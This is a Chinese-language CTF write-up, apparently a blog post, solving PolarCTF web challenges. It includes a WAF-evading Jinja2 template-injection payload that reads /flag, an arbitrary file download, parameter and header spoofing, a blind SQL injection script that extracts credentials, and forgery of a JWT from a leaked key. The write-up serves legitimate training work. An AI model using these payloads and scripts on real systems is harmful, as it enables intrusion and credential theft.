dariy

首页好大的字

复制代码
Record your thoughts with our fancy template system

直接七七四十九发现成功

尝试拿flag,有waf

paylaod

复制代码
{{ (url_for|attr('\x5f\x5fglobals\x5f\x5f'))['sys'].modules['builtins']|attr('open')('/flag')|attr('read')() }}

构造思路:

我先测了 {{url_for}},能正常回显,说明它可以当跳板。

然后用 attr 过滤器去读它的 globals

{{url_for|attr('\x5f\x5fglobals\x5f\x5f')}}

这里的 \x5f 是下划线 _,作用是避免在原始输入里直接出现 globals 这种明显特征。

这里返回的是一个全局字典,里面直接有 sys,于是可以走:

{{(url_for|attr('\x5f\x5fglobals\x5f\x5f'))'sys'}}

再用 sys.modules 拿已经加载的模块。这里我不走 os.popen,因为 WAF 会拦 popen 相关链路。

最终选择 builtins.open

{{(url_for|attr('\x5f\x5fglobals\x5f\x5f'))'sys'.modules'builtins'|attr('open')('/flag')|attr('read')()}}

你会渗透吗

用提示的测试账号登录

抓下载图片的http包

复制代码
/api.php?action=download&file=picture/%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%9B%B8%E9%81%87.png

第一次相遇.png

疑似任意文件下载?

下载index.php

复制代码
<?php
session_start();
if (isset($_SESSION['user_id'])) {
    header('Location: /home.php');
    exit;
}
?>

home.php

复制代码
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: /index.php');
    exit;
}
$username = $_SESSION['username'];
$role = $_SESSION['role'];

// 如果是admin,显示flag页面
if ($role === 'admin') {
    header('Location: /admin.php');
    exit;
}

// 如果是Squirtle,显示个人主页
if ($username === 'Squirtle') {
    header('Location: /squirtle.php');
    exit;
}
?>

下载admin.php,拿到flag

复制代码
flag{4323ce6fff96d58cfd37f18747e28c18}

身份权限校验系统

身份权限校验系统

当前权限:普通用户

提示:参数中不能出现 admin 关键字

抓包扫目录都没有收获

看源代码发现一句话

CTF 变量覆盖挑战

不懂

尝试传有关于admin的参数

最终index.php?is_admin=1

七人组档案

点击查看支线剧情

复制代码
听着,小子

沃特在暗网藏了个心理评估终端。

祖国人快失控了,那个终端里有初代化合物V的位置。

帮我去一趟。但有个破防火墙挡着。

网页源码里留了点东西,自己找。

找到之后,潜入到他们的系统内部,破解最终初代化合物V的位置!

扫目录没有收获,看源代码

复制代码
  <!-- hint ----------------------------------------------------------------->
            <button hidden onclick="jumpToTarget()">线索</button>
        </div>
    </div>

    <div class="slogan">
        <div class="divider"></div>
        <div class="slogan-text">
            "超级英雄不是问题,问题是------<span>谁在控制他们</span>?"
        </div>
        <div class="divider" style="margin-top: 40px;"></div>
    </div>

删掉hidden onclick="

出现新的按钮,点击

复制代码
听着,小子

沃特那破安全系统会检查 User-Agent,但有个叫 X-Vought-Token 的头它们懒得拦

假装你是内部的人------用祖国人(Homelander)的身份混进去!

使用X-Vought-Token: Homelander访问

查看来信

复制代码
很好,小子

你已经成功进入了沃特公司的内部系统!

他们的数据库查询系统存在严重漏洞,就看你的了!

如果你想获得最高权限:。

找出沃特公司老总的账号和密码

他叫什么来着...斯坦埃德加(StanEdgar)?

使用查询功能

输入数字,回显

复制代码
禁止输入一切数字和过滤字符串!(=/ascii/所有截取字符串的函数)

输入aa回显404

输入true空白回显

提示true会代替一切,布尔盲注吗

复制代码
python sqlmap.py -u http://4e64025f-3383-4b99-82dd-c9e6afb64ba3.www.polarctf.com:8090/level1/Vought_Internal_system1917.php?id=111 -H "X-Vought-Token: Homelander" --level=1 --risk=3 --batch

跑不出来

尝试以下payload

复制代码
true and (select database()) like '{result + j}%'
#vought

true AND EXISTS(SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA LIKE 'vought' AND TABLE_NAME LIKE '{result + j}%')
#members

true AND (SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA LIKE 'vought' AND TABLE_NAME LIKE 'members')LIKE '{result + j}%'
#id,member,keyword

true AND (SELECT GROUP_CONCAT(member,keyword) FROM members)LIKE '{result + j}%'
#homelanderqgxmyznp,queenmaeveftrhwjkc,atrainbksqadme,stanedgarzpexnlot.....

import requests
import string

url = "http://4845c17a-356f-423f-bed6-da4261f41b45.www.polarctf.com:8090/level1/Vought_Internal_system1917.php?id="
result = ""

for i in range(1, 100):
    for j in string.ascii_letters + '_' + ',':
        payload = f"true and (select database()) like '{result + j}%'"
        re = requests.get(url=url + payload)
        
        if '404' not in re.text:
            result += j
            print(result)
            break

写脚本的时候有个小问题,最开始我的脚本爆破使用

复制代码
for j in string.ascii_letters + string.digits + '_' + ',':

问题是这道题的输入有数字就会提示被过滤,这样也满足'404' not in re.text:

爆破结果就会带着一个0,然后再爆破下一位

爆破到第一个a,由于payload中有数字,依旧满足'404' not in re.text:,最后输出就会变成0aaaaaaaaaaaaaaaaa

payload构造的时候也有小问题,网页版ds给出的payload是

复制代码
true AND EXISTS(SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA LIKE 'vought' AND TABLE_NAME LIKE 'members' AND COLUMN_NAME LIKE '{result + j}%')

我们的预期回显是id,member,keyword

但是这个payload判断的是exists

按照字母顺序,a%匹配字段首字母,轮到i的时候匹配到了id

但是我们用的是COLUMN_NAME LIKE=来匹配,只匹配单个列的列名

id之后再跟任何东西,这个整体都不是一个列名

登录

我们拿最后一个payload的回显

复制代码
stanedgarzpexnlot

GROUP_CONCAT(member,keyword)

账号stanedgar

密码zpexnlot

登陆后查看五号化合物坐标

复制代码
JWT令牌格式错误!需要三段式: header.payload.signature

还是先查看源代码吧

提示role权限不够

把cookie中role改为admin即可

复制代码
 <?php
highlight_file(__FILE__);
// ==================== 简单JWT实现 ====================
function base64url_encode($data)
{
    return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data)
{
    return base64_decode(strtr($data, '-_', '+/'));
}

// JWT签名密钥 (藏在源码里,你有本事就自己签一个令牌!)
$jwt_secret = "Vought_CompoundV";

if (isset($_POST['location'])) {
    $token = $_COOKIE['jwt_token'] ?? '';
    if (empty($token)) {
        echo '<script>alert("缺少JWT令牌!请先获取有效的jwt_token");</script>';
    } else {
        $parts = explode('.', $token);
        if (count($parts) !== 3) {
            echo '<script>alert("JWT令牌格式错误!需要三段式: header.payload.signature");</script>';
        } else {
            $header = json_decode(base64url_decode($parts[0]), true);
            $payload = json_decode(base64url_decode($parts[1]), true);
            // 计算有效签名
            $valid_sig = base64url_encode(hash_hmac('sha256', "$parts[0].$parts[1]", $jwt_secret, true));

            if ($header === null || $payload === null) {
                echo '<script>alert("JWT解析失败!header和payload需要是有效JSON的Base64URL编码");</script>';
            } elseif (!hash_equals($valid_sig, $parts[2])) {
                echo '<script>alert("JWT签名验证失败!密钥不匹配");</script>';
            } elseif (!isset($payload['access']) || $payload['access'] !== 'compound_v') {
                echo '<script>alert("JWT权限不足!需要 access = compound_v");</script>';
            } else {
                //......
            }
        }
    }
}
相关推荐
2501_915909062 小时前
IPA 深度混淆是什么意思?从混淆强度到实际效果的解读
android·ios·小程序·https·uni-app·iphone·webview
love530love2 小时前
CodexPro + MCP + Cloudflare 配置详解:HTTP2、QUIC 与连接排障
ide·人工智能·windows·ai agent
友人.2272 小时前
补充章节:VSCode Wokwi 无法可视化连线?在线 Wokwi 网页拖拽绘图方案
ide·vscode·编辑器
LT10157974443 小时前
2026年手机机型兼容性测试选型指南:安卓机型碎片化、APP闪退UI错乱如何解决
android·测试工具·ui·智能手机
阿pin3 小时前
Android随笔-view是如何显示到屏幕上
android·view
恋猫de小郭3 小时前
Flutter material/cupertino 解耦最新进展,已经在做新样式了
android·前端·flutter
在书中成长4 小时前
HarmonyOS 小游戏《对战五子棋》开发第17篇 - AI的两种评估策略
android·java·javascript
私人珍藏库4 小时前
[Android] Npatch-免Root框架+可内置模块
android·人工智能·智能手机·工具·软件
黄林晴5 小时前
KMP 正式支持 SwiftPM:CocoaPods 迁移配置指南
android·ios·kotlin